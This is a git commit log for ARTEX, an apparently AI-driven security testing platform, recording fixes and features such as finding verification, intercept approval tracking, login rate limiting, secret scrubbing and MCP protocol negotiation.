Compare commits

...
Author SHA1 Message Date
BaaRai 809436e111 notify: make the summary and asset limits configurable
The IM renderers cut the summary of a single push at 120 characters and
listed at most 3 assets, as fixed constants. Both are now global settings
in the settings table, read by the delivery engine when it renders:

  notify_summary_max_runes   0-4000, default 120
  notify_assets_max_shown    0-50,   default 3

0 means no truncation and an unset key keeps 120 / 3. PUT /api/settings
answers 400 for a value outside the bounds. The limits travel on
notify.Message, so the notify package still does not touch the database.

With no truncation, nothing bounded a single item in a Feishu card, and
Feishu rejects an oversized request as a whole. feishuCard now truncates
an item's text as the final backstop, the role TruncateBytes plays in
markdownBody for DingTalk and WeCom. feishuMaxCardBytes goes from 24000
to 16000: Feishu custom bots cap the request body at 20 KB, which the old
value exceeded.

Refs #168.
2026-11-10 16:05:31 +01:00
BaaRai cf0b0c1002 Merge pull request #170 from BaaRai/fix/notify-overflow-count
notify: report hidden asset count in overflow suffix
2026-11-10 15:44:46 +01:00
BaaRai b17a0ea796 notify: report hidden asset count in overflow suffix
assetLine appended "and N more" with N = len(assets), the total, instead
of the number of assets left out. With 5 assets and a limit of 2 it read
"a, b and 5 more"; it now reads "a, b and 3 more".

Fix the test that pinned the old value and add an 8-assets/limit-3 case.
2026-11-10 15:07:37 +01:00
BaaRai 59c3702a5e Merge pull request #169 from BaaRai/fix/verification-gzip-body
fix(verification): decode gzip/deflate bodies before the S1 quote check
2026-11-10 14:31:37 +01:00
BaaRai 05df40eecb test(verification): lock that an empty bound body never satisfies a quote
A response captured with Content-Encoding: gzip and no body (HEAD, 304) is
decoded to an empty body without error. Pin that behaviour, and pin that an
empty body, compressed or not, matches no non-empty quote through
readBoundResponse and quoteInBodies, so it can never lead to a verified
finding.
2026-11-10 12:52:56 +01:00
BaaRai f4f0df128a fix(verification): decode gzip/deflate response bodies before the S1 quote check
Compressed HTML responses are stored as captured, so the S1 receipt check saw them as binary and returned not_assessed. readBoundResponse now undoes the Content-Encoding declared in the snapshot's response head before the text/binary detection and the quote search.

decodeEvidenceBody handles identity and a single layer of gzip or deflate (zlib-wrapped or bare), bounded by verificationReadCap on the decoded side. Any other coding, stacked codings, or a stream that fails to decode is an error, which the caller reports as not_assessed (evidence body unreadable). The stored evidence bytes are unchanged.
2026-11-10 12:33:40 +01:00
BaaRai 00f5d8c103 Merge pull request #130 from kiserufetch/fix/list-task-credentials-empty-required
fix(tools): list_task_credentials emits invalid "required": [""] and breaks workers on strict LLM providers
2026-11-10 10:43:29 +01:00
BaaRai a44af3ca2b fix(tools): harden obj against blank required names and heal seeded list_task_credentials rows
The previous commit stops list_task_credentials from building its schema
with obj(map[string]any{}, ""). Two gaps remained:

- obj still emitted whatever it was given, so the same typo on another tool
  would again produce "required": [""]. obj now drops names that are blank
  after strings.TrimSpace and omits the "required" key when nothing is left.

- Tool schemas are cached in the tools table and SeedTool is insert-only, so
  the code fix only reached fresh installs. Existing databases kept the
  malformed row and strict providers kept rejecting every worker run.
  healListTaskCredentialsSchema runs at startup next to the other tool
  seeds and removes the "required" key from that one row, only when it is
  exactly [""]:

    UPDATE tools SET schema = schema - 'required', updated_at=now()
    WHERE key='list_task_credentials' AND schema->'required' = '[""]'::jsonb

  It is idempotent (a healed row no longer matches), needs no settings flag,
  and leaves the description, bindings, enabled flag and every other tool
  untouched. tool_schema_refresh_v7 is not bumped.

Tests: TestObjDropsBlankRequired and
TestListTaskCredentialsSchemaHasNoBlankRequired (agent),
TestHealListTaskCredentialsSchema (server, Postgres).
2026-11-10 09:46:49 +01:00
BaaRai 81eab87d16 Merge pull request #166 from BaaRai/feat/untrusted-boundary-toggle
feat: enable the untrusted-output boundary with ARTEX_UNTRUSTED_BOUNDARY
2026-11-09 23:51:52 +01:00
BaaRai 06453409ea chore: pass ARTEX_UNTRUSTED_BOUNDARY to the artex service
Without this line the toggle set in .env never reached the container under
docker compose. The default is empty, which keeps the boundary off.
2026-11-09 23:44:38 +01:00
BaaRai c73e2872a3 feat: enable the untrusted-output boundary with ARTEX_UNTRUSTED_BOUNDARY
Norma v0.4.6 frames tool output between nonce-tagged markers, so the model
reads it as data. ARTEX passes that option from the environment: 1, true or
on enable it (case and surrounding spaces ignored); unset or anything else
keeps it off, which is the default. Nothing changes unless the variable is set.

The option is wired into the four agentcore.Options builders that set
ToolOutputDir: worker, planner, chat and the main agent. .env.example
documents the variable, commented out, with a note to test it on a local
target before enabling it in production.

Not included: docker-compose.yml does not pass the variable to the artex
service, so it has no effect under compose until it is listed there.
2026-11-09 23:42:49 +01:00
BaaRai a83f494d03 Merge pull request #165 from BaaRai/feat/intercept-decided-by
feat: record which actor decided an intercept approval
2026-11-09 23:28:17 +01:00
BaaRai 52ea3f65c6 fix: rename the model filter option to AI-decided
The option filters decided_by = model, which includes denials the model judge
made, so "AI-approved" was inaccurate. Approved-by-AI is the combination with
status allowed.
2026-11-09 23:17:08 +01:00
BaaRai 2218480eba feat: show and filter the decided_by actor in the approval records
The approval list and detail return decided_by exactly as stored, and the
decided_by filter matches that same value. Rows decided before the column
existed show "Legacy" and match no decided_by filter; their decision_source
stays in its own column and nothing is rewritten.

UI: a "Decided by" column (Human, Rule, Model, System) and a matching filter
beside the decision-source filter, including "AI-approved only" for model.
Types and the API query carry decided_by the same way decision_source does.
2026-11-09 22:35:09 +01:00
BaaRai 8f50b81792 feat: record which actor decided an intercept approval
Add intercept_pending.decided_by (human | rule | model | system; empty while
pending or for rows decided before the column existed). Approval semantics are
unchanged: only the actor is recorded.

- rule-matched and model-judged rows written by CreateDecidedIntercept record
  rule or model;
- ResolveIntercept takes the actor explicitly and rejects any other value
  before touching the database;
- Decide (human allow/deny) records human; timeouts and work-cancelled
  denials record system. Work-cancelled is a system refusal, not a human one.
- decided_by is exposed on the pending and approval records and filterable
  with decided_by=human|rule|model|system (anything else is a 400).
- Legacy rows show decision_source as their actor when decided_by is empty.
  The filter uses the stored column only, so decided_by=model cannot match
  older human decisions or timeouts.
- Archive restore fills decided_by for archives that predate the column, and
  marks a restored pending row as system.
2026-11-09 22:17:56 +01:00
BaaRai 3e75f1f954 Merge pull request #164 from BaaRai/feat/retest-verification
feat: a completed retest updates the verification state
2026-11-09 21:56:06 +01:00
BaaRai 8634ddbf23 feat: a completed retest updates the verification state
A completed retest with a reproduced or fixed verdict is an independent proof,
so it sets verification_status to verified with a note naming the retest, its
verdict and the start of its summary. The upgrade applies only from unverified,
not_assessed or blocked: a verified finding keeps its POE level and note.

Inconclusive, failed and stopped retests never change verification_status; their
verdict stays in the retest history. The human status is untouched by this path.
The existing fixed path (status set to Fixed with notifications) is unchanged.

Tests cover reproduced, fixed (status stays Fixed), inconclusive on a verified
finding, failed and stopped, and the upgrade from not_assessed and blocked.
2026-11-09 21:47:40 +01:00
BaaRai ec89070b8e Merge pull request #163 from BaaRai/feat/verification-ui
feat: verification badge, filter and note in the findings UI
2026-11-09 21:21:42 +01:00
BaaRai 1810a82187 feat: verification status badge, filter and note in the findings UI
Show the automated verification outcome next to the human triage status:
a badge on the findings list and detail page ("Verified L3", "Unverified",
"Blocked", "Not assessed", "False positive"), a verification-state filter
next to the status filter (persisted with the other list preferences), and
the verification note on the detail page when the state is not verified.

API: the findings list, groups, asset tree and export accept a
verification_status filter. Without it nothing changes.

Not included: a verified count in the statistics.
2026-11-09 21:04:12 +01:00
BaaRai 34cbbeadb7 Merge pull request #162 from BaaRai/feat/verified-findings
feat: verified findings backend (S1)
2026-11-09 20:50:13 +01:00
BaaRai a1426bbd35 test: use an 8+ rune quote in the unreadable-store case
The quote x7 is now rejected as too short before the store is read, so the
test never reached the not_assessed path. Use a quote long enough to pass
the minimum; the store removal is unchanged.
2026-11-09 20:43:25 +01:00
BaaRai 0a740f0894 fix: ignore evidence quotes shorter than 8 runes
A two-character quote such as "x7" can exist in any body and proves
nothing. Normalized quotes under 8 runes are now ignored; if none remain
the finding is unverified with the note "evidence quote too short".
Check order is unchanged: binding, POE, quote presence, then body.
2026-11-09 20:27:42 +01:00
BaaRai f938ba00d9 feat: verified findings backend (S1)
Add a machine-checked verification state to findings, separate from the
human disposition (status). A finding is verified only when a proof or
verification traffic body is bound, the agent declares POE L3 or higher,
and every evidence quote appears verbatim, after whitespace
normalization, in one of those response bodies.

- schema: poe_level, verification_status, verification_note on findings
  (idempotent ADD COLUMN IF NOT EXISTS, no CHECK, no backfill).
- db: SetFindingVerification validates status and POE 0-4; the three
  fields are scanned with the finding rows and exposed in the DTO.
- update_finding_report: optional poe_level and evidence_quotes. The
  report is always saved; verification only decides the status. Read
  failures give not_assessed, never unverified.
- report agent guidance: declare POE and exact quotes from the bound body.

Not in this change: UI badges and filters, the blocked and false_positive
transitions, and the stored default report prompt for existing databases
(the guidance is appended at run time).
2026-11-09 20:21:27 +01:00
BaaRai f5db962eeb Merge pull request #161 from BaaRai/chore/norma-v0.4.6
chore: norma v0.4.6 (boundary stays disabled)
2026-11-09 20:06:48 +01:00
BaaRai 62571c9b34 chore: keep untrusted-output boundary off until isolated smoke test
Revert the four UntrustedOutputBoundary: true lines. The bump to Norma
v0.4.6 stays; the boundary is available there but remains disabled until
an isolated smoke run is done (no throwaway database, cheap profile or
test key yet).
2026-11-09 19:24:24 +01:00
BaaRai 4fe80b860c chore: bump norma to v0.4.6 and enable untrusted-output boundary
Bump the Norma replace to v0.4.6, which adds the opt-in
UntrustedOutputBoundary option: tool results are framed as data between
nonce-tagged markers, and the output cap leaves room for the framing.

Enable the option in the four agentcore.Options literals that set
ToolOutputDir: chat, mainagent, planner and worker.
2026-11-09 19:19:42 +01:00
BaaRai fbe78395d5 Merge pull request #160 from BaaRai/chore/norma-v0.4.5
deps: bump Norma replace to v0.4.5
2026-11-09 15:54:39 +01:00
BaaRai 6ce50b7d13 deps: bump Norma replace to v0.4.5 2026-11-09 15:42:49 +01:00
BaaRai 9c2b56001d Merge pull request #159 from BaaRai/fix/intercept-decision-source-prefix
fix(intercept): judge decisions were stored as unknown (prefix case mismatch)
2026-11-09 12:31:38 +01:00
BaaRai 9481b8e962 fix(intercept): judge decisions were stored as unknown (prefix case mismatch)
Since e233c02 the judge writer prefixes its reason with "[model]" while
interceptSource, the approvalDecisionSource SQL fallback and the archive
restore checked "[Model]", so model-decided rows were inserted with
decision_source='unknown' and missed by the decision_source=model filter.

- db: add ModelReasonPrefix ("[model]") and isModelReason, which also
  accepts the pre-e233c02 "[模型]" prefix; readers compare
  case-insensitively (lower(reason) LIKE in SQL).
- intercept: the writer builds its reason through JudgeReason, using the
  shared constant.
- schema.sql: idempotent backfill of 'unknown' rows without a rule whose
  reason carries either prefix.
- tests: un-skip TestInterceptFilterHTTP (it failed only because of
  this), make the db filter fixture use the constant, and add a
  Postgres-free test pinning the writer output to interceptSource.

Fixes #156
2026-11-09 12:22:46 +01:00
BaaRai f90e8d2bcb Merge pull request #158 from BaaRai/docs/openai-responses-base-url
docs: openai-responses base URL suffix
2026-11-09 12:04:10 +01:00
BaaRai cab0a10c6f docs: openai-responses base URL suffix 2026-11-09 11:53:01 +01:00
BaaRai 180538e463 Merge pull request #157 from BaaRai/docs/anthropic-base-url
docs: Anthropic base URL must not end in /v1
2026-11-09 11:37:27 +01:00
BaaRai a7da0559f3 docs: Anthropic base URL must not end in /v1 2026-11-09 11:27:54 +01:00
BaaRai 9bf5d816ae Merge pull request #155 from BaaRai/feat/llm-user-agent
feat(llm): optional custom User-Agent for LLM requests
2026-11-08 18:26:58 +01:00
BaaRai 4acdf3bb26 fix(llm): validate custom User-Agent in the connection-test path
testLLM set cfg.UserAgent from the request (or the stored-profile
fallback) with no validation, while pgSaveProfile runs
agent.ValidateUserAgent and returns 400 on a bad value. A UA with a
control character could therefore reach the wire from the test button
though it is rejected on save. Call ValidateUserAgent on the final value
(after the stored fallback) and return 400 with the same message style,
mirroring pgSaveProfile; the fallback itself is unchanged.

ValidateUserAgent rejects every control character (r < 0x20 or r ==
0x7f), TAB included, so the header value stays a single printable token.
Extend the agent tests to cover NUL, US, DEL and TAB, and that a
printable slash-token value with spaces survives trimming unchanged. Add
a Postgres-free server test driving testLLM through an httptest endpoint:
a control-character UA is a 400 before any request leaves, a printable UA
reaches the wire verbatim.
2026-11-08 18:15:33 +01:00
BaaRai 13dde2da15 feat(llm): optional custom User-Agent for LLM requests
Add an optional per-profile User-Agent that overrides the header on every
outbound LLM request. When empty (the default), the existing behaviour is
unchanged and the default User-Agent is left untouched.

The value is trimmed and validated: control characters / newlines (header
injection) and values longer than 256 bytes are rejected. Wired through the
profile config struct, the Postgres llm_profiles schema, the profile API/DTO,
the connection-test path, and the LLM profile form, following the existing
session-header field. Addresses part of #154; the fixed-full-URL mode is not
included.
2026-11-08 17:11:43 +01:00
BaaRai a908e1ec17 Merge pull request #153 from BaaRai/chore/dockerignore-and-readme
chore: keep secrets out of the Docker build context; drop stale README step
2026-11-06 14:41:29 +01:00
BaaRai 9784bb192c chore: keep secrets out of the Docker build context; drop stale README step
The build stage of the Dockerfile runs `COPY . .`, so anything left in the
checkout root is sent to the builder and copied into the build stage. Exclude
the local secrets and backups that the install and backup scripts create
there: .env, config.json, jwt.key and backups/. keys/ was already excluded.

The Docker Compose (manual) section of the README still told users to build
the single binary before `docker compose up -d --build`. Since the
multi-stage Dockerfile builds the frontend and the Go binary itself, that
step is no longer needed; remove it.
2026-11-06 14:31:52 +01:00
BaaRai 44d755fb2e Merge pull request #132 from htcom-code/fix/131-mcp-version-fallback
fix(mcp): negotiate protocol version with fallback
2026-11-06 14:31:44 +01:00
BaaRai ce279d77d3 Merge pull request #151 from BaaRai/release/v0.5.1
release: v0.5.1
2026-11-05 18:17:19 +01:00
BaaRai 41e10456d7 release: v0.5.1 2026-11-05 18:09:19 +01:00
BaaRai 43424404ee Merge pull request #150 from BaaRai/fix/login-rate-limit-hardening
fix(auth): rate-limit login per IP, trusted proxies, 12-character passwords
2026-11-05 18:08:11 +01:00
BaaRai cb13a22673 ci: retrigger after PR head sync 2026-11-05 17:30:24 +01:00
BaaRai 8beb9c50d6 fix(ci): drop unused variable in reset-password.sh (SC2034) 2026-11-05 17:11:41 +01:00
BaaRai 4be2fc5c9a docs, ci: proxy setup for host and Docker, shellcheck reset-password.sh
- README: ARTEX_TRUSTED_PROXIES for nginx and ARTEX on the host
  (127.0.0.1) and for nginx on the host with ARTEX in Docker (the bridge
  gateway, found with docker network inspect).
- CI shell job: run shellcheck on reset-password.sh too.
2026-11-05 17:06:10 +01:00
BaaRai d0d153b768 fix(auth): trusted proxies for the login rate limit, 12 characters in reset-password.sh
- ARTEX_TRUSTED_PROXIES (comma-separated CIDRs, empty by default). When
  the TCP peer is listed, the login limit reads X-Forwarded-For from the
  right and keys on the first hop that is not a trusted proxy; otherwise
  the header is ignored. Without it every client behind a reverse proxy
  shares one bucket and an attacker can block the admin. Passed through
  by docker-compose.yml and listed in .env.example.
- README: nginx example sends X-Forwarded-For; document the variable;
  the binary's default listen address is 127.0.0.1:8787.
- reset-password.sh refuses passwords under 12 characters, counted in
  characters like the server.
2026-11-05 16:57:48 +01:00
BaaRai 2419038884 fix(auth): rate-limit login per IP, 12-character passwords, loopback default
- POST /api/auth/login: 10 attempts per minute per TCP peer IP
  (X-Forwarded-For ignored), then 429 with Retry-After. The block starts
  at 1 minute and doubles on each attempt while blocked and on each new
  block, capped at 15 minutes. A successful login clears the IP. No
  per-account lockout. In-memory, idle entries swept after 15 minutes,
  at most 10,000 IPs.
- New passwords (init, change-password, /setup page) need 12 characters.
  Login does not check length, so existing 8-character passwords work.
- The binary's -addr default is 127.0.0.1:8787. The Docker image passes
  -addr :8787 explicitly and is unchanged.
- GET /api/health returns {"ok":true} without a valid token; with one it
  still returns service and version for the web UI top bar.
2026-11-05 16:48:27 +01:00
BaaRai e6e9b2f978 Add Trendshift badge to README
Added a Trendshift badge to the README.
2026-11-04 21:29:45 +01:00
BaaRai 248d9d9673 Merge pull request #149 from BaaRai/fix/jwt-key-volume
fix(auth): keep the JWT signing key in a dedicated volume
2026-11-04 09:57:52 +01:00
BaaRai 65bdc5d73c fix(auth): keep the JWT signing key in a dedicated volume
The server wrote jwt.key to the executable's directory, /app in the
image, so it lived in the container's writable layer and every container
rebuild generated a new key and signed all users out.

- ARTEX_JWT_KEY_DIR selects the key directory (default: config.BaseDir(),
  unchanged for non-Docker installs). docker-compose.yml sets it to
  /app/keys and bind-mounts ./keys there; the Dockerfile declares the
  volume. The key stays out of data/, which the file manager browses.
- loadOrCreateJWTKey creates the directory (0700). When keyDir/jwt.key is
  missing it migrates dataDir/jwt.key, then BaseDir()/jwt.key (mode 0600,
  old file removed), otherwise generates a new key. An existing key is
  never overwritten; a short one is now a startup error.
- .gitignore and .dockerignore exclude keys/.
- README and CHANGELOG updated; the 0.5.0 known issue is removed.
2026-11-04 09:18:11 +01:00
BaaRai fc35dddee8 release: v0.5.0 (#148)
Move the Unreleased entries into a 0.5.0 section and add the changes merged since v0.4.0 (#128, #136-#147), with known issues.
2026-11-04 01:26:24 +01:00
BaaRai 668e099dd8 fix(docker): build the image from source so a fresh clone builds (#147)
The Dockerfile copied a pre-built binary from dist/<arch>/artex into the
runtime image, but dist/ is git-ignored, so a fresh `git clone` has no such
file and `docker compose up -d --build` fails with
"/dist/amd64/artex: not found".

Build the binary from source in the image instead: a Node 22 stage runs the
frontend static export, a Go 1.26 stage runs build.sh with the same flags as
the release binaries job (CGO-free cross-compile, -trimpath, pinned version),
and the runtime stage copies the compiled binary. No build-context binary is
needed, so a clean clone builds.

Drop the now-obsolete dist/ warning in install.sh.
2026-11-04 01:06:59 +01:00
BaaRai 04777513b6 ci: give the race run its own database
The -race step reused the job's ARTEX_PG_DSN, so it ran against the database the plain test step had just populated. The db tests are not idempotent across runs and failed on duplicate llm_profiles names, turning main red right after #144 merged.
2026-11-03 23:58:15 +01:00
BaaRai 90e7b3ef55 Merge pull request #146 from BaaRai/fix/apply-new-options
fix(security): apply New options so the secret scrub actually runs
2026-11-03 23:52:28 +01:00
BaaRai b100848ebf Merge pull request #144 from BaaRai/fix/ci-race-shellcheck
ci: add go test -race and shellcheck
2026-11-03 23:49:40 +01:00
BaaRai 0093781c8b Merge pull request #142 from BaaRai/fix/llm-stored-key-endpoint
fix(llm): send a saved API key only to the endpoint it was saved for
2026-11-03 23:49:33 +01:00
BaaRai e94471609f Merge pull request #141 from BaaRai/fix/config-load-errors
fix(config): fail on malformed config.json; escape values in install.sh
2026-11-03 23:49:26 +01:00
BaaRai 77e2c5f9fa Merge pull request #145 from BaaRai/fix/go-1.26.10-xnet
build: go 1.26.10 and golang.org/x/net v0.62.0
2026-11-03 23:49:20 +01:00
BaaRai 41fe40af07 Merge pull request #143 from BaaRai/fix/node-22
fix(docker): install Node 22 in the runtime image
2026-11-03 23:49:03 +01:00
BaaRai 0d9602dc56 Merge pull request #140 from BaaRai/fix/llm-provider-env-case
fix(agent): match ARTEX_LLM_PROVIDER case-insensitively
2026-11-03 23:48:56 +01:00
BaaRai 5e872ccc15 Merge pull request #139 from BaaRai/fix/backup-keep-zero
fix(backup): reject --keep 0
2026-11-03 23:48:49 +01:00
BaaRai d3c4d21086 Merge pull request #138 from BaaRai/fix/gitignore-backups
fix(gitignore): ignore backups/ again
2026-11-03 23:48:42 +01:00
BaaRai 69831f5cdf fix(security): apply New options so the secret scrub actually runs
New accepted opts ...Option but never called them, so scrubSecrets stayed
false in the binary and ScrubSecretEnv was unreachable: the protection merged
in #136 never engaged. The unit test passed because it called the scrub
function directly instead of going through New.

Apply the options in the constructor and add a test that builds a Server
through New with WithSecretScrub and asserts the secrets are gone. Verified to
fail without the loop.
2026-11-03 23:47:49 +01:00
GRAB Racem 3322ecd6a6 ci: run shellcheck at warning severity
The first run reported only info-level notes (SC2015 in update.sh, SC2012 and
SC2086 on the intentional glob in backup.sh), which made the job fail.
2026-11-03 23:36:00 +01:00
GRAB Racem 7b2a5fb05e build: go 1.26.10, golang.org/x/net v0.62.0
Raises the go directive from 1.26.3 to 1.26.10, the newest 1.26 patch release
(CI installs it from go.mod; release.yml's "1.26" already resolves to it; the
Dockerfile ships a prebuilt binary and has no Go image). golang.org/x/net goes
from v0.58.0 to v0.62.0, the latest; go mod tidy raises x/crypto, x/text,
x/sys, x/sync, x/mod and x/tools to the versions it requires.
2026-11-03 23:34:39 +01:00
GRAB Racem 2d373ae77a ci: add a race-detector step and shellcheck for the install scripts
go test -race runs on every package that passes under the race detector
locally (all but ./server, which needs a -race check against postgres
first). A new shell job runs shellcheck on install.sh, update.sh, start.sh and
scripts/backup.sh.
2026-11-03 23:30:08 +01:00
GRAB Racem fc08133ab2 fix(docker): install Node 22 in the runtime image
The image installed Node 20 from NodeSource, which is end-of-life. CI and the
release workflow already build the frontend with Node 22; the runtime image
(Playwright MCP/CLI, npx-based MCP servers) now uses the same major.
2026-11-03 23:26:50 +01:00
GRAB Racem 334f6fdddc fix(llm): send a saved API key only to the endpoint it was saved for
POST /api/llm/test and POST /api/llm/models take provider and base_url from
the form but fell back to the stored profile key (and, for the test, the
global key) when the form had none. Any base_url typed into the form, or
supplied by a crafted request, received the saved key.

The saved key is now used only when the request's provider and base URL
normalize to the ones it was saved with (sameLLMEndpoint, built on
agent.ConfigFrom). Otherwise the key must be entered in the form, and the
error says why.
2026-11-03 23:25:47 +01:00
GRAB Racem a20628d334 fix(config): fail on a malformed config.json and escape install.sh values
config.Load discarded the json.Unmarshal error, so a config.json that did not
parse was treated as absent: startup reported "no database config found"
and skill_dir silently fell back to the default. Load now returns read and
parse errors (a missing file is still not an error); PostgresDSN and SkillDir
pass them up, and main exits with the message.

install.sh wrote the database values into config.json unescaped, so a password
containing " or \ produced invalid JSON, which the old Load then ignored. The
values are now JSON-escaped and the port must be numeric. The .env sed
replacements escape \, | and & so those characters no longer break the
substitution or get rewritten by it.
2026-11-03 23:22:34 +01:00
GRAB Racem a6e3fd0a2e fix(agent): match ARTEX_LLM_PROVIDER case-insensitively
FromEnv compared the raw value, so "Ollama" or "OpenAI" matched no case and
fell through to the anthropic default. With ARTEX_LLM_PROVIDER=Ollama and an
ANTHROPIC_API_KEY set, the Anthropic key was sent to the Ollama base URL.
2026-11-03 23:20:21 +01:00
GRAB Racem ddddddd1f3 fix(backup): reject --keep 0 so the new dump is never pruned
With --keep 0, prune ran tail -n +1 over the newest-first listing and deleted
every dump, including the one written seconds earlier, then reported success.
The check also rejects leading zeros, which the $((KEEP + 1)) arithmetic would
parse as octal (08 and 09 abort the script after the dump).
2026-11-03 23:18:45 +01:00
GRAB Racem f3f9b8d4fd fix(gitignore): split the merged bench/backups line so backups/ is ignored
Commit 2c8359f appended backups/ to the /Dockerfile.bench.v2 line, which had no
trailing newline. The result, /Dockerfile.bench.v2backups/, matched neither file,
so dumps written by scripts/backup.sh showed up as untracked and could be
committed by accident.
2026-11-03 23:17:56 +01:00
BaaRai 23cf14cf0a Merge pull request #137 from BaaRai/fix/auth-init-setup-token
fix(auth): require a setup token for /api/auth/init and bind 8787 to localhost
2026-11-03 22:22:30 +01:00
BaaRai 5bad722593 fix(auth): make the published bind address configurable
Publishing 127.0.0.1:8787 removed the only working access path for installs
reached through a host or WSL IP, without an obvious way back. Keep loopback as
the default and let ARTEX_BIND_ADDR override it (0.0.0.0 restores the old
behaviour; the setup token still protects the first-run claim).
2026-11-03 22:18:27 +01:00
GRAB Racem 2aab3e8210 fix(auth): require a setup token for /api/auth/init and bind 8787 to localhost
POST /api/auth/init accepted any caller while auth.password_hash was empty,
so whoever reached port 8787 first could set the admin password and take the
instance. When no password is set at startup, the server now generates a
random one-time setup token and writes it to the server log. authInit
compares it in constant time, rejects a missing or wrong token with 403, and
clears it once the password is stored.

The setup page has a field for the token and api.initPassword sends it.
docker-compose publishes 8787 on 127.0.0.1 only, like 8788. README says where
to find the token.
2026-11-03 22:18:27 +01:00
BaaRai d45f0c7811 Merge pull request #136 from BaaRai/fix/shell-env-secrets
fix(security): remove startup secrets from the environment before child processes spawn
2026-11-03 22:17:26 +01:00
BaaRai e6f4de5ddc fix(security): scrub startup secrets before any child can spawn
The scrub ran in main after server.New returned, but New resumes every
non-terminal task before returning, and those loops start workers that run
shells. Move the scrub into New, right after both environment readers, and
start MCP discovery after it as well: both paths spawn child processes.

New takes an option rather than scrubbing unconditionally. The test suite
builds several servers in one process and still needs ARTEX_PG_DSN on later
calls, so only the binary opts in.
2026-11-03 22:14:35 +01:00
GRAB Racem ac601b7e59 fix(security): remove startup secrets from the environment before child processes spawn
ARTEX_PG_DSN, ANTHROPIC_API_KEY and OPENAI_API_KEY are read only during
startup (server.NewManager and agent.FromEnv in server.New), but stayed in
the process environment. Agent shells, custom tools and MCP stdio servers
copy os.Environ() when they start, so they could read the database password
and the LLM keys. main now unsets the three variables right after server.New
returns.
2026-11-03 21:46:40 +01:00
htjulia f6583b4bad fix(mcp): omit protocol version header on initialize
The client sent MCP-Protocol-Version on the initialize request itself.
The spec requires the header on requests after initialization, and the
offered version already travels in the initialize body. A server that
validates the header rejected the handshake unless the client happened
to offer a version it supports, so connecting depended on matching the
error body and only worked for the two versions the client offers.

- Send the header only after initialize succeeds, with the version
  the server negotiated
- Keep the fallback loop, newest-first order and negotiated-version
  persistence for servers that still reject the initialize body version
- Rewrite both version tests around this, including a 2025-03-26-only
  server, and assert that initialize carries no version header

Tags: #mcp
Co-Authored-By: htjulia <htjulia1@gmail.com>
2026-11-03 09:24:05 +09:00
BaaRai 9ebc8b6703 docs: recovery note for clones made before the history rewrite 2026-11-02 17:07:32 +01:00
BaaRai 1c35c9cf68 fix(ollama): normalize the base URL on the environment path too
The saved-profile path normalized /v1 but FromEnv did not, so
ARTEX_LLM_BASE_URL=http://host:11434 sent chat to /chat/completions and got a
404 on a LAN Ollama server. Share one helper between both entry points, and add
an env-path test with a bare host and with a full endpoint URL.

Also soften the keyless comment: a local Ollama ignores the bearer token, but a
gateway in front of it can require one, which belongs in a saved profile.
2026-11-02 17:03:57 +01:00
BaaRai 1ed154e86c fix: build the image locally instead of pulling a third-party namespace
docker-compose.yml referenced autumn27/artex:latest. That repository is gone
(404), but the Docker Hub account is alive, so whoever holds that name can
publish the tag and every compose pull would run their image. A local review
of the published artifacts found the same class of risk still present on the
default install path after #125 removed the in-app updater.

Build from the checkout instead, and make update.sh stop when git pull cannot
fast-forward: it used to warn, rebuild the old tree and print 'Build complete',
which is what every clone made before the 2026-10-23 history rewrite now hits.
2026-11-02 17:03:53 +01:00
BaaRai 4034ce4562 docs: correct the 0.4.0 changelog against the released tree
The toolbox entry claimed the tools were verified at build time. They are
version-pinned and smoke-tested by running them once; nothing is checksum
verified, sqlmap tracks the default branch, and the dalfox check cannot fail.
Say that plainly and point at #127, which adds checksum verification.

Also fix two misattributions: #65 is the deadline contract, not pause, and
#108 adds documentation rather than reporting code.
2026-11-02 16:58:46 +01:00
htjulia 934568f336 fix(mcp): negotiate protocol version with fallback
The Streamable HTTP client always offered 2025-06-18 and kept sending
that MCP-Protocol-Version header after initialize, ignoring the
version the server answered with. A server that only supports
2025-11-25 negotiates its own version and then rejects every later
request with 400, so none of its tools load. Servers that validate
the header on initialize itself reject the handshake outright, and
the client never retried with another version.

- Offer 2025-11-25 first and fall back to 2025-06-18 when the server
  rejects the version: HTTP 400 "Unsupported protocol version",
  JSON-RPC -32602, or an UNSUPPORTED_PROTOCOL_VERSION code
- Send the protocolVersion from the initialize result on later
  requests
- Keep the legacy HTTP+SSE transport on 2024-11-05

Closes #131

Tags: #mcp
Co-Authored-By: htjulia <htjulia1@gmail.com>
2026-11-02 15:40:45 +09:00
kiserufetchandClaude Opus 4.8 a66c716c0a fix(tools): drop empty required entry from list_task_credentials schema
list_task_credentials takes no parameters but built its JSON Schema with
obj(map[string]any{}, ""), emitting {"type":"object","required":[""],
"properties":{}}. The required array contains an empty string, which strict
function-call validators reject. Observed with DeepSeek through an
OpenAI-compatible gateway (format "openai"):

  openai: status 400 invalid_tool_spec -
  "function.parameters.required must be an array of non-empty strings"

Because the tool is in the worker toolset, every worker run fails before the
first tool call (terminal state model_error); the planner and main agent are
unaffected since they don't load it. Anthropic/OpenAI accept the malformed
schema silently, so it only surfaces on stricter providers.

Pass no required args so obj omits the required key entirely:
{"type":"object","properties":{}}.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-11-02 09:05:03 +03:00
BaaRai 7f8c7cbcae docs: changelog entry for Ollama support (#128) 2026-10-25 19:19:11 +01:00
BaaRai 9e63a8031b Merge pull request #128 from glauberportella/develop
ollama support
2026-10-25 19:19:05 +01:00
BaaRai 978f308a9e fix(ollama): keyless env config and /v1 base URL normalization
Two review fixes on top of the Ollama provider:

FromEnv no longer inherits OPENAI_API_KEY for the ollama format. Ollama
ignores the bearer token, so inheriting the cloud key could only ship it to
the local or LAN endpoint, contradicting the comment in NewProvider and the
documented behavior.

ConfigFrom now normalizes the base URL to the /v1 root, so the natural
Ollama URL (host:11434 without /v1) works for chat as well. Previously the
provider appended /chat/completions to it and the request landed on a path
Ollama does not serve, while pgListModels already appended /v1.

Tests: bare-host normalization assertion, the /v1/chat/completions path
assertion, and a new test that the env config carries no inherited key.
2026-10-25 19:18:25 +01:00
Glauber Portella 80a1ee96f6 ollama llm 2026-10-23 18:12:38 -03:00
BaaRai b3717f7a5f release: v0.4.0
First tagged release of this fork. Adds the 0.4.0 changelog section covering the work since upstream 0.3.15, guards the Docker Hub publishing job behind a repository variable (no credentials are configured for that namespace), and stops auto-generated release notes in favour of the changelog body.
2026-10-23 14:40:39 +02:00
BaaRai 5d3b1d142d Merge pull request #125 from stevenAthompson/chore/remove-self-update
chore: remove automatic update check and in-app self-update
2026-10-23 14:28:51 +02:00
stevenAthompson 2d5f9677f4 chore: remove automatic update check and in-app self-update
